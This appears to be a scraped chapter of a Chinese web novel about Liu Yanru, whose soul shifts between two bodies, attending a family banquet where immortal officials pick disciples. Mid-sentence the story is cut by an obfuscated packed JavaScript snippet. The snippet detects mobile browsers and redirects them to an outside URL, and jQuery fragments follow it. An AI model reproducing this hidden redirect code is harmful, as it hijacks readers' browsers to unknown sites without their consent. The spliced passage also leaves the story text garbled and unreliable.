10. 择徒宴(上)
作品:《我在两具身体里反复横跳》 柳晏如“醒了”。
魂魄在两副身体里穿梭,即便频率不算高,但她坐起身的一刻,依旧头疼欲裂。
晴茵还坐在床下,脸上的紧张还未消,反应了一会儿,才“啊”了一声。
柳晏如一笑,说:“你看,没事吧。”
晴茵忙点头,又半带犹疑地开口:“可经常这样,不会影响身体么?这可是……魂魄出窍。”
柳晏如道:“我会随时注意的,别担心。”
晴茵紧绷的身子松了下去,“既然小姐醒了,那我去端药!”
待晴茵出去了,柳晏如才窝在床角,慢慢揉着头,企图缓解头疼。难道是因为她在短时间内连续两次离开柳瑛的身体,引起了不适?
手脚有些发软。
柳晏如本想着,鬼君说不可离体超过六个时辰,那她可以在时辰快到时先回来,随即再离魂,是不是就能继续下去。
但两副身子的情况截然不同,不能任性妄为。
喝过药后,柳晏如在跨院里瞎逛一阵子,柳璟先前致信说择徒宴的时候会回来,然而明日便是了,却不见柳璟的踪迹。
用过早膳,柳晏如忽听到院外有人在叫喊,语调欢快,晴茵发现她在侧耳,便也听了几耳朵,说:“是二小姐的贴身婢女,春裁。”
声音发自跨院隔墙的花园,她和晴茵循声而去,便见池畔的六角亭内,柳霖瑶手里捏着几张信纸,乐得转了一个圈,坐下后将信按在心口,春裁侍在一旁,眉飞色舞地说着什么。
“……信?”
晴茵一歪头,随即道:“我也去信房看看。”
自玄都建成后,仙司分去一部分灵力,用以建成信灵,大户人家中有信房,信房内有蕴息池,通信无阻,其他人家设有小池,街道、乡路间也有些信台。
柳晏如转了转眸子,“同去。”
刚一抬步,柳霖瑶的声音便飘了过来:“瑛妹妹!”
柳晏如刹住步子,拍了拍晴茵的手背,晴茵会意,远远朝柳霖瑶一欠身便撒开腿跑去信房,柳晏如则走了过去,“瑶姐姐。”
柳霖瑶一面细细折好信,一面抬眼笑,“我听他们说,你最近几天身子不好,母亲让我别来打扰你,现在见妹妹出来了,应当是无碍了?”
“已经无碍了。”柳晏如停在亭外。
柳霖瑶身上取下一个锦囊,伸手向着她,“这里有些鱼食,妹妹要来喂喂鱼么?池里的鱼一向长得好。”
柳晏如垂眼盯着锦囊半晌,“我看看就好。”
柳霖瑶笑笑,双目四处张望了一下,又说:“那些仙司,已经来了不少,都在别馆聚着呢。不知道都长什么样。”
柳晏如走了神,二人沉默间,她开口:“柳璟还回来么?”
柳霖瑶一怔,既惊于她对柳璟直呼其名,又讶于她问得这么坦率,“……学宫临时有了场比试,大姐说她不回来了。”
也不意外。
虽然靠着柳璟找到师兄的计划无望,但殷牙那边也有点头绪,柳晏如“哦”了一声,便开口说要走了。
柳霖瑶一默,起身送行。
待柳晏如身影隐没在花树中,柳霖瑶才坐了下去,悠悠叹了一口气。
春裁愤愤道:“瑛小姐也太不给面子了。”
柳霖瑶挑眉瞥了春裁一眼,后者霎时噤声,柳霖瑶道:“瑛妹妹和小姑一个气性,加之她同父亲产生龃龉,同我生疏也是正常的。”她垂睫,“平心而论,择徒宴在即,我也没什么心思去陪她哄她。”
春裁不免也有些紧张,说:“小姐,家主说他打理好了一切,却又不同您说清楚,奴婢……奴婢心里有些不安。”
柳霖瑶勾唇,将锦囊解开,捻起鱼食撒进池中,沉鳞竞起,她面色沉静,“怕什么,我做不了仙司,也会继承柳家家业。”
柳晏如前脚回到跨院,后脚晴茵气喘吁吁地跑了回来,手上举着信,说:“小姐,信,信……!”
柳晏如让她坐下,拆开了信,飞速读完后,晴茵才匀出一口气,说:“信房人说信前天就到了,却一声不吭,我不来,还不知道这信被压着多久,真是一群……!”
柳璟的信总结出来,也正是柳霖瑶转述的意思,柳璟反复道歉,说下个月定要回来看她,话语里还表达了不满,让柳瑛亲自读信、亲自写信,别再找晴茵和庄子里的代笔帮忙了——[你的话、我的话,在晴茵嘴里和代笔笔下翻了两圈,都面目全非了!]
说起来,她来到柳瑛身躯那日,来信的确是晴茵转述的,那之前的柳瑛对这些已然不感兴趣了,哪怕是关系要好的表姐的信,她也不会亲自看。
“大小姐……不回来了?”晴茵小心翼翼地观察她的脸色。
柳晏如:“嗯,学宫有比试。”
说起比试,柳晏如大概知道为何了。每年三月,赤州都会举行碧落比试,学宫应是加紧练习。
柳晏如一整日都在头疼,她不敢轻举妄动,睡前短暂地离了魂,她的客房内阵法完整,阿兆还未回来,在花盆内插了一卷字条,写道:【今晚不回来,别担心。】
她便回到柳瑛的身体内,睡了个饱足的觉。
再醒时,头没那么疼了。
待日光渐显,她轻步起身更衣,不过在梳妆时依旧惊醒了晴茵。晴茵眠浅,揉了揉眼睛,披上外衣就跑了过来。
柳晏如按住她,说:“你再睡睡吧,我已经收拾好了。”
晴茵对她梳的头欲言又止,慢慢坐下,又站起来,说:“今天可是择徒宴,小姐还是再让我梳一梳吧。”
“梳妆出来也不是给那些仙君看的,也就只是择徒,”柳晏如淡声道,“况且,柳家根本没有把我算在内。”
晴茵听着柳晏如口中越来越生疏的称呼,从“舅舅”到“柳家”,暗叹了一口气,小姐终究是被家主的做法给伤透了心。
柳晏如说:“时候尚早,还想再睡会儿么?”
晴茵摆手,“……不不不,我睡够了。”
距离开宴还有些时辰,二人闲谈间,晴茵又提起了符箓,柳晏如心念一动,提出教她画符。晴茵不安又难以抗拒地接受了。
宴前一刻,侍从请柳晏如到别馆赴宴。
一脚迈进别馆,柳晏如瞬间被院内的花光琉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420115|168996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
璃影给打了眼,只见银幔铺展流泻,琉璃灯叠如楼崖,原来柳伯达把更多的钱都投进了别馆。
晴茵大撼,目不暇接,好一阵子没说出话,“年前我才来过别馆……怎么变化这么大!小姐,你看!”
移步到院后水池,五楹水阁横悬池上,银幔妆裹,远看如秋雾锁江,二人沿着接岸的木廊入阁,远远地便听见喧哗声。
宴席还未正式开始,官员幕僚已然与那些仙司及其弟子交游畅谈,那些仙司也好认,羽衣玉冠、腰间令牌……
柳晏如进来的动静只引起了三人的注意——俞延之、柳霖瑶和坐于主位的仙司。
俞延之没什么表情,看了她一眼,便挪开目光了。柳霖瑶则是颔首,露出浅浅的笑。
主位的女人紫衣鹤氅,身周萦有华光,一旁的柳伯达呵呵笑着,她嘴角却未扬起一丝一毫,目光轻扫柳晏如的全身。
柳晏如也在打量她。
……柳伯达竟请到了一位五阶仙司。
她不禁对柳伯达的致富之路产生了一丝兴趣,宦海浮沉至今,钱权势皆有小成,他是干了什么勾当?
除此之外,柳伯达正妻谢之润、三儿子柳珏、四女儿柳清瑜皆在场,柳晏如多数都在跨院里活动,与主家互不打扰,这些人也懒得与她做样子。
侍从将她引到末位的小案,正巧靠窗,几枝山茶探了进来,花赤如锦,柳晏如双目触及后一怔,缓缓落座。
晴茵见她凝着山茶花许久,不禁问道:“小姐,喜欢吗?要是喜欢,等我们回庄里,我们就去种几株养。”
“也好。”柳晏如环视一圈,今天来的少年人不少,大多都掩饰不了情绪,目含敬仰地望着这些仙司。
柳霖瑶一派端方矜贵的模样,从不目斜。
除此之外,对列的一位青年在她落座后,不停地望向她这儿。柳晏如细细观察,此人小有姿色,锦衣华服,眼神中带着审视和……满意?
前一日柳伯达的话在这时浮出脑际。秦家的那个儿子,秦午忠?
一想到柳伯达有意将柳瑛嫁去秦家,柳晏如顿时沉下了脸。
很快,择徒宴开始了。
丝竹雅韵、舞燕歌莺,不必赘述。
柳晏如枯坐许久,只想着看看这装模作样的择徒该如何进行,却不想竟要忍受这么久,脑子被吵又发疼,唉,她逐渐走了神,频频扭头看那山茶花。
不知道是哪位仙司得了趣,召来了两只仙鹤,鹤鸣嘹呖,矫翅搏风如舞雪,换来一声声惊呼欢喝。
柳晏如见晴茵看得入迷,忍了半晌,见这宴怕是半天完成不了,说:“晴茵,我想走了。”
晴茵立马去找侍从,侍从再瞧准时机去禀告给柳伯达,柳伯达笑容一僵,瞥了一眼柳晏如,似是说“早知道你会这样”,下巴朝着木廊一扬。
柳晏如整衣,缓缓起身。
肩旁的花枝轻颤,露珠沾衫,她以为是不慎碰撞,肩头稍侧,便见窗外花枝罅隙间掠过一道青影。
疏神间,灵玉轻吟,靴子脚响,有人轻笑入内:
“贪看了春花,在下来晚了,抱歉。”